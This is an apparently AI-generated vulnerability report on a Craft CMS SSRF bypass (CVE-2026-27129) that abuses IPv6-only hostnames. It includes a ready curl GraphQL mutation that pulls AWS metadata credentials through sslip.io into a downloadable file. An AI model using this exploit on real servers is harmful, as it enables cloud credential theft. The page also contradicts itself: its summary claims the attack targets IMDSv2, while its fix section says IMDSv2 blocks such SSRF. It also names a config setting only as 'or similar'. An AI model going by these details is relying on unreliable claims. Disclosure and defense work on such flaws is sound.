CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27129
5.70.03%

Craft CMS SSRF: The IPv6 Ghost in the Machine

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 24, 2026·6 min read·7 visits

PoC Available

Executive Summary (TL;DR)

Craft CMS failed to sanitize IPv6-only hostnames because PHP's `gethostbyname` doesn't resolve AAAA records. Attackers can use this to hit internal services (AWS IMDS, Loopback) by using domains that only resolve to IPv6, effectively bypassing the application's IPv4-centric allowlist/blocklist logic.

A sophisticated Server-Side Request Forgery (SSRF) bypass in Craft CMS leverages the often-overlooked disparity between legacy PHP networking functions and modern dual-stack infrastructure. By exploiting how `gethostbyname()` handles IPv6-only hostnames, attackers can bypass security filters intended to block internal access, directly targeting cloud metadata services like AWS IMDSv2 via their IPv6 endpoints.

The Hook: When Old PHP Meets New IP

In the world of web security, we often joke that developers are playing 4D chess while security engineers are stuck playing checkers. In the case of CVE-2026-27129, it's more like the developers were playing a game of "Go Fish" using a deck of cards from 1999. This vulnerability is a classic example of technical debt colliding with modern infrastructure. It's an SSRF (Server-Side Request Forgery) bypass that renders the previous security patch—CVE-2025-68437—completely moot.

Here is the setup: Craft CMS, a popular content management system, allows users to import assets from remote URLs via GraphQL mutations. Naturally, allowing a server to fetch arbitrary URLs is dangerous, so they implemented a blocklist to stop you from fetching localhost or 169.254.169.254 (the holy grail of cloud metadata). But here lies the rub: the internet is running out of IPv4 addresses, and the world is moving to IPv6. The code responsible for checking these URLs, however, was stuck in the IPv4 era.

This isn't just a simple input validation error; it is a fundamental misunderstanding of how PHP's standard library interacts with the underlying operating system's resolver. The vulnerability allows an authenticated attacker (or anyone with access to a misconfigured public GraphQL schema) to trick the server into thinking a malicious internal request is perfectly safe, simply by speaking a language the validator doesn't understand: IPv6.

The Flaw: A Tale of Two Stacks

To understand this exploit, you have to look at the specific PHP function Craft CMS was using to validate domains: gethostbyname(). If you check the PHP documentation, or if you've been coding since the LAMP stack was the new hotness, you know that gethostbyname() gets the IPv4 address corresponding to a given Internet host name.

Here is the logic flaw in pseudocode:

$ip = gethostbyname($hostname);
if (is_internal_ip($ip)) {
    die("Hacking Attempt Detected!");
}
// Proceed to fetch content

The catastrophic failure occurs when an attacker provides a hostname that only has an IPv6 (AAAA) record, and no IPv4 (A) record. When gethostbyname() sees a hostname it cannot resolve to an IPv4 address, it doesn't return false or throw an error. In a stroke of API design genius (read: sarcasm), it returns the original hostname string unmodified.

So, if I send fd00-ec2--254.sslip.io (which points to AWS's internal IPv6 metadata service), gethostbyname returns string "fd00-ec2--254.sslip.io". The validator checks this string against a list of banned IPs like 127.0.0.1. Since "fd00..." is not "127.0.0.1", the check passes. The application then hands this URL off to Guzzle (the HTTP client). Guzzle, being a modern and capable library, happily resolves the AAAA record and connects to the internal IPv6 address fd00:ec2::254. Checkmate.

The Code: The Smoking Gun

Let's dissect the patch. The vulnerability existed because the validation relied on a function that was blind to half the internet. The fix, applied in commit 2825388b4f32fb1c9bd709027a1a1fd192d709a3, attempts to manually bolt on IPv6 awareness.

Here is the essence of the remediation:

// The new validation method added in the patch
private function validateIp(string $ip): bool {
    // ... existing IPv4 checks ...
 
    // The new IPv6 blocklist
    $v6Prefixes = [
        'fd00:ec2::', // AWS IMDS
        'fd20:ce::',  // GCP Metadata
        '::1',        // Localhost
        'fe80:',      // Link-local
        '::ffff:',    // IPv4-mapped
    ];
 
    foreach ($v6Prefixes as $prefix) {
        if (str_starts_with($ip, $prefix)) {
            return false;
        }
    }
    return true;
}

> [!NOTE] > Researcher's Critique: While this stops the immediate bleeding, using string manipulation (str_starts_with) to validate IP addresses is historically fragile. IP addresses have many valid string representations. For example, 0000::1 is the same as ::1, but str_starts_with($ip, '::1') might miss the former depending on normalization. Even worse, str_starts_with is case-sensitive. If an attacker sends FD00:EC2::... (uppercase), and the code checks against fd00:ec2:: (lowercase), they might walk right past the firewall again.

The Exploit: Tunneling Through the AAAA

To exploit this, we don't need complex memory corruption or buffer overflows. We just need a DNS record and a GraphQL query. We will use sslip.io, a magic DNS service that resolves hostnames containing IP addresses to those specific IPs. Crucially, it supports dashed formats for IPv6.

The Setup: We want to access the AWS Instance Metadata Service (IMDS). The IPv4 address is 169.254.169.254, which is blocked. But AWS also listens on [fd00:ec2::254].

The Attack Chain:

  1. Craft the Payload: We construct a URL using sslip.io that resolves only to the IPv6 address of the IMDS.
    • Target IP: fd00:ec2::254
    • Payload Domain: fd00-ec2--254.sslip.io
  2. Send the GraphQL Mutation: We use the save_photos_Asset mutation (or similar asset creation mutations) to tell Craft CMS to "download" an image from our malicious URL.
curl -X POST https://target-cms.com/api/graphql \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"pwned.txt\" }) { id } }"
  }'
  1. Exfiltrate: If successful, Craft CMS downloads the text response from the metadata service and saves it as a file (pwned.txt). We then simply request that file from the public asset URL to read the stolen AWS credentials.

The Fix: Band-Aids on Bullet Holes

The remediation provided by Pixel & Tonic (the creators of Craft CMS) involves explicitly defining a list of dangerous IPv6 prefixes and checking the resolved host against them. This is available in versions 4.16.19 and 5.8.23.

However, software patches are often reactive. As a security practitioner, relying solely on the application layer to filter network traffic is asking for trouble. Developers will always miss an edge case (like ::ffff:169.254.169.254, an IPv4-mapped IPv6 address).

Defense in Depth Strategy:

  1. Network Segmentation: Your web server should not be able to talk to the metadata service. Period. Use iptables or cloud firewall rules (Security Groups) to drop all egress traffic to 169.254.169.254 and fd00:ec2::254.
  2. IMDSv2: Enforce IMDSv2 on AWS. It requires a PUT request to retrieve a session token before data can be read. Most SSRF vulnerabilities (including this one) only allow GET or POST requests, meaning they cannot negotiate the token handshake required by IMDSv2.
  3. Disable Unused Features: If you don't need to fetch assets from remote URLs, disable that functionality in the Craft CMS config (allowServerSideExcursions or similar settings depending on the plugin).

Official Patches

Craft CMSCommit fixing the SSRF bypass

Fix Analysis (1)

Technical Appendix

CVSS Score
5.7/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Probability
0.03%
Top 92% most exploited

Affected Systems

Craft CMS 4.x (< 4.16.19)Craft CMS 5.x (< 5.8.23)AWS EC2 Instances (via IMDS)Google Cloud Compute (via Metadata)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Craft CMS
Pixel & Tonic
>= 4.5.0-RC1, < 4.16.194.16.19
Craft CMS
Pixel & Tonic
>= 5.0.0-RC1, < 5.8.235.8.23
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork (GraphQL)
CVSS v4.05.7 (Medium)
ImpactHigh (Confidentiality)
EPSS Score0.03%
Exploit StatusProof of Concept

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1566Phishing (via Asset Upload)
Initial Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF)

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing PoC steps for AWS and GCP exploitation.

Vulnerability Timeline

Patch committed to GitHub
2026-01-14
Public disclosure and CVE assignment
2026-02-24

References & Sources

  • [1]GHSA-v2gc-rm6g-wrw9
  • [2]sslip.io DNS Service
Related Vulnerabilities
CVE-2025-68437

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.